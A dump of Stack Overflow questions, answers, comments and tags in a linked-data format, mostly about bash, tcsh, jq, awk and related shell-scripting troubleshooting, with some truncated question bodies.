http://stackoverflow.com/comment/136094421
type: Comment
comment on: http://stackoverflow.com/a/77196684
type: AnswerComment
has text: @JuniorOge You could also try to replace your use of *wkhtmltopdf* by the use of the [Dompdf library](https://github.com/dompdf/dompdf) which will not use shell commands to do the operation. This will be safer than giving root privileges to your *Apache* configuration.
score: 0

http://stackoverflow.com/comment/136047437
score: 0
has text: What characters are permitted between the single quoted strings? Only upper and lower case ASCII?
comment on: http://stackoverflow.com/q/77169893
type: QuestionComment
type: Comment

http://stackoverflow.com/q/77089730
has answer: http://stackoverflow.com/a/77089808
score: 0
type: Question
tagged with: shell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135900851
answer count: 1
has title: Passing arguments from main bash file to a secondary file using cat <<EOF >
has comment: http://stackoverflow.com/comment/135919782
has body: I have not much experience using bash. I would appreciate if someone can help me. This is my issue: Let's say I have a main bash file called main.sh that looks like this: CODE EDITTED #!/bin/bash year=2020 text="the year is: " cat - << EOF > inside_file.sh #some lines here new_text='$text$year' echo ${new_text} # some lines here EOF bash inside_file.sh When I run this code I create a file called inside_file.sh. Inside that file I want to be able to see this: #some lines here new_text='the year is: 2020' echo $new_text # some lines here Instead I am seeing this: #some lines here new_text='the year is: 2020' echo # some lines here
tagged with: bash
has comment: http://stackoverflow.com/comment/135900786

http://stackoverflow.com/q/77187096
duplicate of: http://stackoverflow.com/q/43259563
upvote count: 2
answer count: 1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/77187182
has title: How can I check whether a string array includes a specified string in `jq`?
downvote count: 2
score: 0
type: Question
tagged with: shell
has answer: http://stackoverflow.com/a/77187182
linked to: http://stackoverflow.com/q/43259563
tagged with: jq
favorite count: 0
has body: I have an array of string in json format. I'd like to check whether it includes a specific string value. I have tried to use contains: echo '["aa", "bb", "cc"]' |jq '. | contains(["aa"])' > true it works but it also return true for a partial match: echo '["aa", "bb", "cc"]' |jq '. | contains(["a"])' > true how can I find the exact match?

http://stackoverflow.com/q/77216250
has answer: http://stackoverflow.com/a/77302348
downvote count: 0
type: Question
tagged with: godot
has comment: http://stackoverflow.com/comment/136127093
tagged with: python
linked to: http://stackoverflow.com/q/77201583
has title: Godot 4 cannot run Python Script, permission denied
tagged with: shell
tagged with: python-venv
tagged with: godot4
score: 1
accepted answer: http://stackoverflow.com/a/77302348
upvote count: 1
answer count: 1
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/136136520
has body: I'm basically building a GUI app in Godot 4. Initially, the problem was to not be able to import numpy into a venv in the Godot project folder. The problem is explained here. The follow-up to this problem, is that the one script cannot be executed. After pressing a button in Godot, two scripts are executed. The first scripts works without a problem, whereas the second script throws an error message. Both Scripts work the same. They are called with: OS.execute(python_interpreter, [python_script_path_not, title, body, icon]) (This one works) or with: var arguments = [some, values, here, and, there] var exit_code = OS.execute(python_interpreter, arguments, output, true) (This one doesn't work) Both files can be easily executed from the terminal, after cd"ing" into the same folder used by Godot. After activating the venv, both scripts can be called without a problem. The error message given by Godot looks like this: ["Traceback (most recent call last):\n File \"/home/user/Desktop/PythonFiles2/venv/lib/python3.10/site-packages/psutil/_pslinux.py\", line 1653, in wrapper\n return fun(self, *args, **kwargs)\n File \"/home/user/Desktop/PythonFiles2/venv/lib/python3.10/site-packages/psutil/_pslinux.py\", line 2121, in cpu_affinity_set\n cext.proc_cpu_affinity_set(self.pid, cpus)\n PermissionError: [Errno 1] Operation not permitted\n \n During handling of the above exception, another exception occurred:\n \n Traceback (most recent call last):\n File \"/home/user/Desktop/PythonFiles2/vimuscript.py\", line 176, in <module>\n main()\n File \"/home/user/Desktop/PythonFiles2/vimuscript.py\", line 52, in main\n app(args.pcap_file, args.decode_tunnels, args.bpf_filter, args.snapshot_length, args.idle_timeout, args.active_timeout, args.accounting_mode, args.n_dissections, args.statistical_analysis, args.splt_analysis, args.n_meters, args.export_format, args.download_filepath)\n File \"/home/user/Desktop/PythonFiles2/vimuscript.py\", line 105, in app\n pandas = streamer.to_pandas()\n …
has comment: http://stackoverflow.com/comment/136126536

http://stackoverflow.com/comment/136144693
has text: Please, take some time to read [how to ask](/help/how-to-ask) and [How to create a Minimal, Reproducible Example](/help/minimal-reproducible-example)
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77224625

http://stackoverflow.com/comment/135903982
type: QuestionComment
has text: The `setenv.tcsh` file will be generated at runtime and script is supposed to use the values of those variables in the script, if you are asking why `tcsh`? well, its one of the scripting languages used in my team
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77090496

http://stackoverflow.com/q/77110245
answer count: 1
has comment: http://stackoverflow.com/comment/135936264
tagged with: raspberry-pi
tagged with: linux
tagged with: bash
has comment: http://stackoverflow.com/comment/135936226
has comment: http://stackoverflow.com/comment/135936923
has comment: http://stackoverflow.com/comment/135936271
has title: Bash AutoStart script does not copy files from shared folder
has body: I have added a startup bash script to a device running Raspbian (Debian GNU/Linux 11 (bullseye). This is my script: SysmacApp.sh #!/bin/bash if [ ! -d /home/pi/App ]; then mkdir -p /home/pi/App; fi if [ ! -d /home/pi/Shared/Service ]; then mkdir -p /home/pi/Shared/Service; fi if [ ! -d /home/pi/Shared/Service/Data ]; then mkdir -p /home/pi/Shared/Service/Data; fi if [ ! -d /home/pi/Shared/Sysmac ]; then mkdir -p /home/pi/Shared/Sysmac; fi sudo mount -t cifs //10.10.0.1/SysmacApp /home/pi/App -o username=*****,password=***** cp /home/pi/App/Service/* /home/pi/Shared/Service -r cp /home/pi/App/Sysmac/* /home/pi/Shared/Sysmac -r cp /home/pi/App/Shared/* /home/pi/Shared sudo umount /home/pi/App cd /home/pi/Shared/Service dotnet ./SysmacService.dll &amp; sleep 2 cd /home/pi/Shared/Sysmac dotnet ./SysmacUI.Skia.Gtk.dll &amp; So basically: Create some directories if not exists. Copy two applications from a shared folder. Execute these 2 applications. The script is executed because the apps run after a reboot, but the information is not copied unless I manually execute this script in a terminal. To run the script I have added an entry to the /etc/xdg/autostart folder: SysmacApp.desktop [Desktop Entry] Name=SysmacApp Comment=Starts sysmac application Exec=/home/pi/Shared/SysmacApp.sh Terminal=true Type=Application Categories=Utility;Application; If I remotely reboot the device the applications are executed but not copied from the shared folder. Am I doing something wrong?
has answer: http://stackoverflow.com/a/77110538
has comment: http://stackoverflow.com/comment/135940485
score: 0
type: Question
tagged with: shell
type: UnansweredQuestion

http://stackoverflow.com/comment/136020977
type: Comment
comment on: http://stackoverflow.com/a/77156903
type: AnswerComment
score: 0
has text: @vijayedm You're welcome! Perhaps it was edited by someone using a Windows-editor.

http://stackoverflow.com/comment/135988575
type: AnswerComment
comment on: http://stackoverflow.com/a/77133415
score: 2
has text: Thanks @EdMorton for the loop clarification,
type: Comment

http://stackoverflow.com/comment/138602150
has text: triggers is the way to go for creating hyperlinks from generic text.
comment on: http://stackoverflow.com/a/77139562
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135983559
score: 0
type: QuestionComment
type: Comment
has text: There may be a developers email list for g-term, but don't phrase your post as "I found a bug" . There are usually 2-3 lists, 1) general, 2) releases, 3) developer details. Search thru the general archive for `--tag`, see what you find, then post a question to general asking if your use-case is supported, and where you are going wrong. (don't bother the developers on their details msg list). ... OK, that's about all I know on this topic (-;!. Goooood luck!
comment on: http://stackoverflow.com/q/77135598

http://stackoverflow.com/comment/135898205
score: 0
type: QuestionComment
type: Comment
has text: What artifacts do the tests produce that are required to eventually run the program? Would it work to run the tests locally before building an image?
comment on: http://stackoverflow.com/q/77088400

http://stackoverflow.com/comment/136087750
has text: That was indeed the issue, completely missed those changes. Thanks a lot!
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/77192738

http://stackoverflow.com/comment/136009398
type: AnswerComment
comment on: http://stackoverflow.com/a/77147775
score: 0
has text: @xgqfrms : Explanation added ....
type: Comment

http://stackoverflow.com/comment/136121630
type: AnswerComment
score: 0
has text: @Neliker, not in its current form. If you want to include it directly into the .bashrc, you can do something like this: `if ! isTmuxSession; then tmuxHasSessions && tmuxSelectSession || tmux; fi`. I've updated the answer.
type: Comment
comment on: http://stackoverflow.com/a/77213627

http://stackoverflow.com/comment/136027719
comment on: http://stackoverflow.com/q/77155986
type: Comment
score: 0
has text: Please provide enough code so others can better understand or reproduce the problem.
type: QuestionComment

http://stackoverflow.com/comment/135850445
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77060642
has text: You're looking for [`execvp()`](https://pubs.opengroup.org/onlinepubs/9699919799/functions/execvp.html) or [`execvpe(3)`](http://man7.org/linux/man-pages/man3/execvpe.3.html) — the former is standardized by POSIX but the latter is not.
score: 0

http://stackoverflow.com/comment/135980936
comment on: http://stackoverflow.com/q/77134969
has text: That's already the default for openssh. What software are you using?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/77169893
has comment: http://stackoverflow.com/comment/136049727
possible better answer: http://stackoverflow.com/a/77169906
tagged with: bash
has comment: http://stackoverflow.com/comment/136052979
has answer: http://stackoverflow.com/a/77174021
has answer: http://stackoverflow.com/a/77171531
upvote count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/136047437
tagged with: awk
tagged with: sed
has body: I have one automation thought. Here are full details. Each user sends me one SQL query and then I need to execute below steps using automation script. Run a SQL query file.sql which exists in the UNIX server using Unix shell script. select count(*) as cnt from emp where employee='Scott' and job='Manager' and Salary&gt;10000 and location='Chicago' and deptno=10 and hike_in_perc=15 and deptname is not null; Take the query output into the UNIX variable. If count &gt; 0 then exit. If count =0 then, I need to update the Input table emp data based on the where clause values given by the user automatically. (So that if I re-run the above query I will get count &gt;0). My target is that when I run a SQL query given by the user, should get records count &gt;0. To achieve this updating the input table with hardcoded values mentioned in the WHERE clause. update emp set employee='Scott',job='Manager',Salary=10001(need to manipulate*),location='Chicago',deptno=10,hike_in_perc=15,deptname='ABC'(need to manipulate if value is not NULL*); Re-run the SQL Query again to make sure count &gt;0. Below query related to step 3 which I have started to work on the automation. I have a text file (cols.txt) which contains the data (Tab Delimiter) like below. employee='Scott' job='Manager' Salary=10000 location='Chicago' deptno=10 hike_in_perc=15 deptname='Accounts' File contains col_name=Value format and number of columns are not limited and have multiple files with different number of columns and their values. Could you please help me how can I extract each column value along with column name like: var1=employee='Scott' var2=job='Manager' .....etc My final goal is to use these values in the UPDATE statement in the SQL query. Please suggest me a good way to accomplish this. Thank you In advance. I have tried to use CUT and SED but not helpful and am not getting expecting result.
has comment: http://stackoverflow.com/comment/136043135
downvote count: 2
has answer: http://stackoverflow.com/a/77173782
has comment: http://stackoverflow.com/comment/136050593
has comment: http://stackoverflow.com/comment/136052303
type: Question
answer count: 4
tagged with: shell
has title: Extract words from String and assign it to UNIX Variable
accepted answer: http://stackoverflow.com/a/77174021
favorite count: 0
score: -2
has answer: http://stackoverflow.com/a/77169906

http://stackoverflow.com/comment/135958160
type: Comment
comment on: http://stackoverflow.com/q/77122685
type: QuestionComment
score: 0
has text: I've found Python's `pexpect` much friendlier to use. You can [pass multiple patterns](https://pexpect.readthedocs.io/en/stable/api/pexpect.html#pexpect.spawn.expect) and the index of the matched pattern is returned.

http://stackoverflow.com/q/77217599
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/136129391
type: Question
tagged with: shell
upvote count: 0
has title: getting the hostname from a list of IPs in linux
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/77217940
score: -2
has body: I have a long list of IPs, but I need the hostnames of those servers, am trying to get every server with this command: dig +noall +answer -x <IP-address> | awk '{print $5}' and i get the result, my question is how to automate this, I know it can be done, but I lack the skill to do it. the file is called linux.hosts and the IPs are stacked as follows: <ip-address1> <ip-address2> <ip-address3> . . . <ip-address100> am trying to create a script to automate the result of the command above and get output to another file Update: here is the code am using: #!/usr/bin/bash while read line; do dig +noall +noidnin +answer -x "$line" | awk '{print $5}' echo done < linux.hosts > outputfile the issue now will be how to identify the ones that are not resolving, not sure how to do that.
tagged with: linux
downvote count: 2
has comment: http://stackoverflow.com/comment/136128848

http://stackoverflow.com/comment/136083138
has text: What errors are you getting when executing through localhost? Is anything after the shell_exec command executed? What does the return value of shell_exec look like?
comment on: http://stackoverflow.com/q/77191993
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136103028
has text: Frame challenge: Executables shouldn't have extensions at all in the first place. When you add a shebang to a script and mark it +x, it shouldn't have an extension any more than `ls` or `cp` does. (Similarly, you run `pip`, not `pip.py`, even though it's written in Python).
comment on: http://stackoverflow.com/q/77203420
type: QuestionComment
score: 6
type: Comment

http://stackoverflow.com/q/77084269
downvote count: 0
score: 1
answer count: 1
favorite count: 0
type: AnsweredQuestion
has body: I am using this code to check if user's input (which is always number) is even or odd, but the script always return "Even" read -p "Enter a number: " x if ((x % 2 == 0)); then echo "Even"; else echo "Odd"; fi I am using this test: def solution(x) puts("Number: #{x}") run_shell(args: [x]).strip end describe "Solution" do it "should print 'Even' for even numbers" do [0, 2, 4, 78, 100000, 1545452, -2, -10, -123456] .each { |x| expect(solution(x)).to eq('Even') } end it "should print 'Odd' for odd numbers" do [1, 3, 5, 77, 100001, 1545455, -1, -3, -9, -12345] .each { |x| expect(solution(x)).to eq('Odd') } end end
type: Question
tagged with: shell
upvote count: 1
has title: Why my Shell code always return Even, even if number is odd
has answer: http://stackoverflow.com/a/77084360
accepted answer: http://stackoverflow.com/a/77084360

http://stackoverflow.com/comment/136002987
has text: The core point of using a config file is to support the use of multiple terminals. To prevent misleading, I removed the zsh demo.
score: 0
comment on: http://stackoverflow.com/a/77147299
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135889333
comment on: http://stackoverflow.com/q/77083171
has text: The traditional `find` tool is innately slow, because it does an actual traversal of the filesystem tree. If "quickly" is part of your specification, it's the wrong tool (so why are you making it part of your question in the title?)
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/77110538
type: Answer
has comment: http://stackoverflow.com/comment/135937201
answers question: http://stackoverflow.com/q/77110245
has body: You have to debug it, so I suggest you to update your script as follow: #!/bin/bash function run { if [ ! -d /home/pi/App ]; then mkdir -p /home/pi/App; fi if [ ! -d /home/pi/Shared/Service ]; then mkdir -p /home/pi/Shared/Service; fi if [ ! -d /home/pi/Shared/Service/Data ]; then mkdir -p /home/pi/Shared/Service/Data; fi if [ ! -d /home/pi/Shared/Sysmac ]; then mkdir -p /home/pi/Shared/Sysmac; fi sudo mount -t cifs //10.10.0.1/SysmacApp /home/pi/App -o username=*****,password=***** cp /home/pi/App/Service/* /home/pi/Shared/Service -r cp /home/pi/App/Sysmac/* /home/pi/Shared/Sysmac -r cp /home/pi/App/Shared/* /home/pi/Shared sudo umount /home/pi/App cd /home/pi/Shared/Service dotnet ./SysmacService.dll &amp; sleep 2 cd /home/pi/Shared/Sysmac dotnet ./SysmacUI.Skia.Gtk.dll &amp; } run 2&gt;&amp;1 1&gt;/var/log/myscript.log Then, after a reboot, check the file /var/log/myscript.log for some issue.
has comment: http://stackoverflow.com/comment/135937229
has comment: http://stackoverflow.com/comment/135937235
score: 0

http://stackoverflow.com/comment/136179327
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77230785
has text: The values in range D2:D4 represent the new values, and E2:E4 represent the old values. Basically what I want my codes to do is replacing old values by new values in .js. For example, if my current D2 value is 6:7.000 and E2 value is 6:5.900, and the when I update the value in D2 (through formula or other macros) to 6:7.100, and implement the codes, the value in E2 becomes 6:7.000 (original D2 value), and NewContent becomes 6:7.100 (new D2 value). and this 6:7.100 will be written into .js

http://stackoverflow.com/comment/135964231
score: 0
comment on: http://stackoverflow.com/q/77124679
type: QuestionComment
has text: Sorry, but this is now standard on Android and iOS for detecting malware and stalking ware access to camera and mic in background.
type: Comment

http://stackoverflow.com/comment/135980030
comment on: http://stackoverflow.com/a/77121277
type: Comment
type: AnswerComment
score: 0
has text: Thanks. In my environment, the result of `cat file` was null. Can it be because of docker version?

http://stackoverflow.com/comment/135910881
type: QuestionComment
comment on: http://stackoverflow.com/q/77093883
type: Comment
has text: Please trim your code to make it easier to find your problem. Follow these guidelines to create a [minimal reproducible example](https://stackoverflow.com/help/minimal-reproducible-example).
score: 0

http://stackoverflow.com/a/77182170
type: Answer
score: 2
has body: Recursively remove one key jq 'walk(if type == "object" then del(.required) else . end)' # same as jq 'del(..|.required?)' { "$schema": "http://json-schema.org/draft-07/schema#", "type": "object", "properties": { "blackbox": { "type": "object", "properties": { "enabled": { "type": "boolean" } } } } } Recursively remove multiple keys jq 'walk(if type == "object" then del(.type,.required) else . end)' # same as jq 'del(..|.type?,.required?)' { "$schema": "http://json-schema.org/draft-07/schema#", "properties": { "blackbox": { "properties": { "enabled": {} } } } }
answers question: http://stackoverflow.com/q/77171901
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/77171901
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/136049355
has text: There's no answers on your original question, so you're free to edit it to clarify your intended scope. That exactly what the comments on the original question are trying to clarify. In particular, you should elaborate on "Hadoop does not provide all these operations".
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77173353

http://stackoverflow.com/comment/136105665
has text: @CharlesDuffy OP has tagged `linux` where default `grep` should be compiled with the libpcre library.
score: 0
comment on: http://stackoverflow.com/a/77204784
type: Comment
type: AnswerComment

marklogic-10
type: Tag
tags question: http://stackoverflow.com/q/77228708
tag name: marklogic-10

http://stackoverflow.com/comment/136043455
score: 0
comment on: http://stackoverflow.com/q/77170124
type: QuestionComment
type: Comment
has text: Try the `du -m` command. `man du` will give you more info

http://stackoverflow.com/comment/136151428
score: 0
type: QuestionComment
type: Comment
has text: yes I am using options to pass input parameter. The job is working well when I execute it locally on Rundeck server. If I execute on remote nodes, then it using `*` as wildcard character.
comment on: http://stackoverflow.com/q/77226745

http://stackoverflow.com/comment/136217898
comment on: http://stackoverflow.com/q/77145853
type: QuestionComment
type: Comment
score: 0
has text: Adding -vvv caused it to send the delivery report to the local mailbox. The output of the two looks identical up to "Part 3" which contains the message headers. The good message has: Return-Path, Received, Date, To, Subject, User-Agent, MIME-Version, Content-Type, Content-Transfer-Encoding, Message-Id, From The bad message has: Return-Path, Received, Message-Id, Date, From The contents of the common headers seem to be substantially equivalent.

http://stackoverflow.com/q/77082632
has body: I want to update an array in a while. There is my code : #!/bin/bash LIST_OF_FILES=() find . -name '*.[hc]' -print0 | while IFS= read -r -d '' file do # do some stuff # at the end LIST_OF_FILES+=("$file") done echo "${LIST_OF_FILES[@]}" But it does not work, my whellcheck gives me the error : Modification of LIST_OF_FILES is local (to subshell caused by pipeline) How can I do to update my array LIST_OF_FILES ?
score: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135888454
accepted answer: http://stackoverflow.com/a/77082675
has comment: http://stackoverflow.com/comment/135888358
answer count: 1
type: AnsweredQuestion
tagged with: bash
type: Question
has answer: http://stackoverflow.com/a/77082675
has title: Update an array in a pipeline

http://stackoverflow.com/comment/136110445
score: 0
type: QuestionComment
has text: @jhnc I guess duplicating files is impossible
type: Comment
comment on: http://stackoverflow.com/q/77204604

http://stackoverflow.com/q/77148690
score: 0
type: Question
tagged with: shell
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/77154502
answer count: 1
has body: What I know is that a Command Processor is a system program that accepts instructions from a Command Line or Terminal and executes them. Additionally, Shell program is a command interpreter so in Unix like systems shells are like (zsh, sh, bash, ...). I just want to know if shell is a type of command processors and if not what is the classification of it ? I want to understand in a bit detail.
has title: Difference between Command Processor and Shell

http://stackoverflow.com/comment/136051920
type: Comment
comment on: http://stackoverflow.com/a/77174021
type: AnswerComment
has text: You're very welcome. Just make sure you test and verify, especially that `WHERE` clause.
score: 0

messagebroker
tags question: http://stackoverflow.com/q/77188280
tag name: messagebroker
type: Tag

http://stackoverflow.com/comment/136002826
score: 0
type: Comment
type: AnswerComment
has text: all right, thanks a lot.
comment on: http://stackoverflow.com/a/77147179

http://stackoverflow.com/comment/136104702
score: 0
has text: Thanks @CharlesDuffy ! Your suggestions on improving the shell code helped a lot! The actual reason was the presence of semi-colons as separator in the **run** file instead of the colon.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77198302

aws-lambda
type: Tag
tag name: aws-lambda
tags question: http://stackoverflow.com/q/77082545
tags question: http://stackoverflow.com/q/78075819
tags question: http://stackoverflow.com/q/78920310
tags question: http://stackoverflow.com/q/79376004

http://stackoverflow.com/q/77100241
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135919030
tagged with: foreach
has title: Error "Too many ('s." when trying to run a script with foreach loops
has comment: http://stackoverflow.com/comment/135919450
has comment: http://stackoverflow.com/comment/135919220
has body: My code is as follow: #!/bin/tcsh # Set relevant dataset information to be preprocessed set subj = 20284 set date = 20230718 # YYYYMMDD foreach run (001 002) set dataset = "${subj}_${date}_${run}.ds" cd /path/name/${subj} # Define your marker pairs and corresponding output file names set marker_pairs = ( ("t104_noTap_R_antiphaseSlow", "t134_noTap_L_antiphaseSlow"), ("t114_noTap_R_antiphaseMedium", "t144_noTap_L_antiphaseMedium"), ("t124_noTap_R_antiphaseFast", "t154_noTap_R_antiphaseFast") ) # Iterate through the marker pairs foreach pair ($marker_pairs) set marker1 = $pair[1] set marker2 = $pair[2] # Extract the part of the name in marker1 after "noTap_" set extracted_name = `echo $marker1 | sed 's/^.*_//g'` # Execute the first two scanMarkers commands and save their output to temporary files set output1 = "R_${extracted_name}_${run}_begin" set output2 = "L_${extracted_name}_${run}_begin" scanMarkers -f -includeBad -marker $marker1 -overlap 0 -time 0 0 -excludeEvent1 $marker1 -2.1 -0.1 -add $output1 $dataset "R_${extracted_name}_epoch_begintimes.evt" scanMarkers -f -includeBad -marker $marker2 -overlap 0 -time 0 0 -excludeEvent1 $marker2 -2.1 -0.1 -add $output2 $dataset "L_${extracted_name}_epoch_begintimes.evt" # Combine the outputs of the first two scanMarkers commands into one scanMarkers -f -includeBad -marker "${output1} ${output2}" -overlap 0 -time 0 0 -add "${extracted_name}_${run}_begin" $dataset "${extracted_name}_${run}_epoch_begintimes.evt" # Clean up the temporary files if needed rm -f "R_${extracted_name}_epoch_begintimes.evt" "L_${extracted_name}_epoch_begintimes.evt" end set options = ("antiphaseSlow" "antiphaseMedium" "antiphaseFast") foreach option ($options) set input_file = "${option}_${run}_epoch_begintimes.evt" set output_file = "${option}_${run}_1sec_times.prn" python /auto/iduna/arogojin/bilateral_squeeze_test/test_make_epoch_times_1sec.py "$input_file" "$output_file" end addMarker -f -n ${extracted_name}_${run}_1sec -p "$output_file" ${datas…
score: 0
type: Question
tagged with: tcsh
tagged with: shell
answer count: 0

http://stackoverflow.com/comment/136015388
type: Comment
type: AnswerComment
has text: We can't debug a problem based on comments where the newlines etc. are all missing. Either edit your question and put the changed makefile in it (formatted as a code block) along with the error message (also formatted properly) or else ask a new question.
score: 1
comment on: http://stackoverflow.com/a/77153051

http://stackoverflow.com/comment/135865873
has text: If it's only changing the delimiter then try `awk -F '[[:space:]]{2,}' -v OFS=',' '{$1 = $1} 1' file.txt`
comment on: http://stackoverflow.com/q/77060368
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/comment/136019086
type: QuestionComment
comment on: http://stackoverflow.com/q/77156311
type: Comment
has text: If you type `man split` you will get the manual page for `split` and you'll see why you get `testaa, testab, testac`. If your `split` is the one from the GNU coreutils have a look at the `--additional-suffix` and `--numeric-suffixes` options. You can try `split -b 5m --additional-suffix=']-YYYYMMDDHHMMSS.CSV' --numeric-suffixes=1 TEST-REPORT-YYYYMMDDHHMMSS.CSV 'TEST-REPORT-['`
score: 1

http://stackoverflow.com/a/77170416
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/77170372
has body: You can use: $ jq '[.[] | {iid: .iid, project_id: .project_id, ref: .ref, status: .status, source: .source, created_at: .created_at, updated_at: .updated_at, web_url: .web_url}]' file [ { "iid": 6316, "project_id": 1234, "ref": "test_branch", "status": "running", "source": "web", "created_at": "2023-09-25T05:55:20.788Z", "updated_at": "2023-09-25T05:55:23.481Z", "web_url": "https://example.gitlab.com" } ]
has comment: http://stackoverflow.com/comment/136045183
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/136068984

common-workflow-language
type: Tag
tags question: http://stackoverflow.com/q/77164954
tag name: common-workflow-language

http://stackoverflow.com/comment/136105738
comment on: http://stackoverflow.com/a/77204784
type: Comment
type: AnswerComment
score: 1
has text: Sure, but it's pretty common for folks to install bash on top of alpine -- which adds bash, but _doesn't_ add GNU grep; which shell you have and which coreutils you have are entirely separate concerns.

http://stackoverflow.com/q/77233783
score: 0
type: Question
tagged with: shell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/136158211
has answer: http://stackoverflow.com/a/77233826
has comment: http://stackoverflow.com/comment/136158197
has comment: http://stackoverflow.com/comment/136158213
has body: I'm learning bash and I'm trying to call this function that will copy files from another directory to another directory where the files are in reverse alphabetical order. whenever i try to run the script it says "thesorter not found". Should i assign the function to a variable? I get "command not found". When I sue the code in the function with calling or making the function it runs perfectly. #!/bin/bash sourcedir=$1 targetdir=$2 if [[ $# != 2 ]] then echo -e "Error: Expected two input parameters.\nUsage: ./sortedcopy.sh <sourcedirectory> <targetdirectory>" exit 1 elif ! -d $1 then echo -e "Error: Input parameter #1 '$1' is not a directory.\nUsage: ./sortedcopy.sh <sourcedirectory> <targetdirectory>" exit 2 function thesorter() { mkdir $2 cd $2 path2=$(pwd) cd $(cd -) cd $1 i=1 for file in $(ls -r ) do cp $file $path2/$((i++)).$file done } elif ! -d $2 then thesorter $sourcedir $targetdir else echo "Directory '$2' already exists. Overwrite? (y/n)" read answer if $answer = y then rm -r $2 thesorter $sourcedir $targetdir fi exit 3 fi
tagged with: bash
answer count: 1
has title: Function in a bash script: command not found

http://stackoverflow.com/comment/136104855
type: Comment
comment on: http://stackoverflow.com/q/77203420
score: 0
has text: `newzsh(){ print '#!/usr/bin/env zsh' >${1:?}; chmod u+x $1 }`
type: QuestionComment

http://stackoverflow.com/comment/136049407
has text: Ok. Thanks. Will do that.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77173353

http://stackoverflow.com/a/77212776
downvote count: 0
answers question: http://stackoverflow.com/q/77212721
type: Answer
has body: Well, after lots of fiddling, the following command does what I want: find . -type f -name 'tmp_YdayData.txt' -exec awk -f solar.awk {} &gt;&gt; output.txt\; I changed the command line from xargs to exec.
score: 1
upvote count: 1

http://stackoverflow.com/q/77234225
tagged with: shell
answer count: 0
has comment: http://stackoverflow.com/comment/136172293
type: UnansweredQuestion
tagged with: jenkins-pipeline
type: Question
has comment: http://stackoverflow.com/comment/136163722
has title: Pipeline groovy script denies special character
has body: I have this script which generates the information about SonarQube branches and their lines of codes. Everything went smooth until I discovered that there is one branch in one SonarQube project that contains "$" on it's branch name (branch-$branch). After iterating over the list of branches on that specific SonarQube project, it rejects that branch to display it's output. How can I allow the usage of "$" in my script? Here is my script: stage('Extract Output') { steps { script { // Sonar branches API Endpoint String branches_url = base_url+"/api/project_branches/list" String sonar_branches = sh(script: 'curl -s -u user:pswd -X GET -F "project=sonar.project" '+branches_url, returnStdout: true).trim() def jsonSonarBranches = readJSON text: sonar_branches p_branches = jsonSonarBranches.branches branch_name = p_branches.name branch_LAD = p_branches.analysisDate echo "${branch_name}" echo "------------------" // LOC API Endpoint String measures_url = base_url+"/api/measures/component" int index = 0 for(String branch: branch_name){ brnch_lad = branch_LAD.get(index) String project_measures = sh(script: 'curl -s -u usr:paswd -X GET -F "component=sonar.project" -F "metricKeys=ncloc" -F "branch='+branch+'" '+measures_url, returnStdout: true).trim() def jsonProjectMeasures = readJSON text: project_measures // components json: value = loc proj_component = jsonProjectMeasures.component.measures p_measures = proj_component.value if(brnch_lad == null){ brnch_lad = 'N/A' p_measures = 'N/A' echo "PROJECT_KEY:sonar.project BRANCH:${branch} LAD:${brnch_lad} LOC:${p_measures}" } else if(p_measures.isEmpty()) { p_measures = 'N/A' echo "PROJECT_KEY:sonar.project BRANCH:${branch} LAD:${brnch_lad} LOC:${p_measures}" } else if(p_measures == null){ p_measures = 'N/A' echo "PROJECT_KEY:sonar.project BRANCH:${branch} LAD:${brnch_lad} LOC:${p_measures}" } else { int index_measures = 0 p_loc = p_measures.get(index_measures) echo "PROJECT_KEY:sonar.project BRANCH:${branch} LAD:${brnch_lad} LOC:${…
tagged with: jenkins-groovy
score: 0
tagged with: sonarqube

http://stackoverflow.com/q/77201768
type: Question
tagged with: shell
tagged with: javascript
tagged with: react-native
tagged with: react-native-macos
downvote count: 0
type: UnansweredQuestion
score: 1
has title: React-native-macos child_process removed from npm for security reasons
upvote count: 1
has body: I tried to install child_process, but I noticed there is nothing in the node_modules folder. I went looking on npm and saw this: https://www.npmjs.com/package/child_process It seems to have been removed for security reasons, what can I use to do the same thing on react-native-macos?
answer count: 0
tagged with: child-process
favorite count: 0

http://stackoverflow.com/comment/136007486
type: Comment
type: AnswerComment
has text: If you knew, this question wouldn't have been asked
score: 0
comment on: http://stackoverflow.com/a/77147299

http://stackoverflow.com/comment/136003576
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/77147140
type: Comment
has text: If you don't want to put the variable into the environment (since you explicitly say _shell variable_, not _environment variable_, set in in the shell script in the same way as you do it in the terminal.

http://stackoverflow.com/comment/135919485
type: Comment
has text: since you are assuming there are no spaces in the prefix (otherwise `-k2` fails), you can just do: `prefix=3; sed "s/./& /$prefix" inputfile | sort -k2 | sed 's/ //' >outputfile`
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77096426

com
type: Tag
tag name: com
tags question: http://stackoverflow.com/q/77100448

http://stackoverflow.com/a/77205722
has comment: http://stackoverflow.com/comment/136111381
